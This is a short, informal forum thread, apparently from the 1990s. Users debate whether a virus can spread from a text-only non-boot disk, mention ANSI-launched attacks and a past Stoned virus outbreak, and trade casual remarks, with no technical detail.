Maud'Dib
My Computer Science Teacher , Whom Thinks She Is ALL KNOWing saws That a Virus can be launched from A non-Boot Disk Containing only Text,,
To The The Best of my Knowledge This Is Just Bull...
The only kind I could Even imagine Would Be Ansi Launched...
Can Any One Support Her Point of view
Even Though I Doubt it Better Safe Than Sorry.
Please If Any one Wants To Id Like To Hear Other Far Fetched Virus Misconseptions, Or Things that People Think are Misconceptions..
Did I Misspell That..... Oh well

and some still are

i'm still waiting for some little stupid shit to get ahold of one of these and, thinking they are now k00l, proceed to trash mommy and daddy's puter...
Freejack
has the coding of virii been drastically reduced? i've heard nothing about it for some time now. but then i'm in cyberhell. but the base here recently had an "epidemic" of stoned and some other lame critters. dolts.
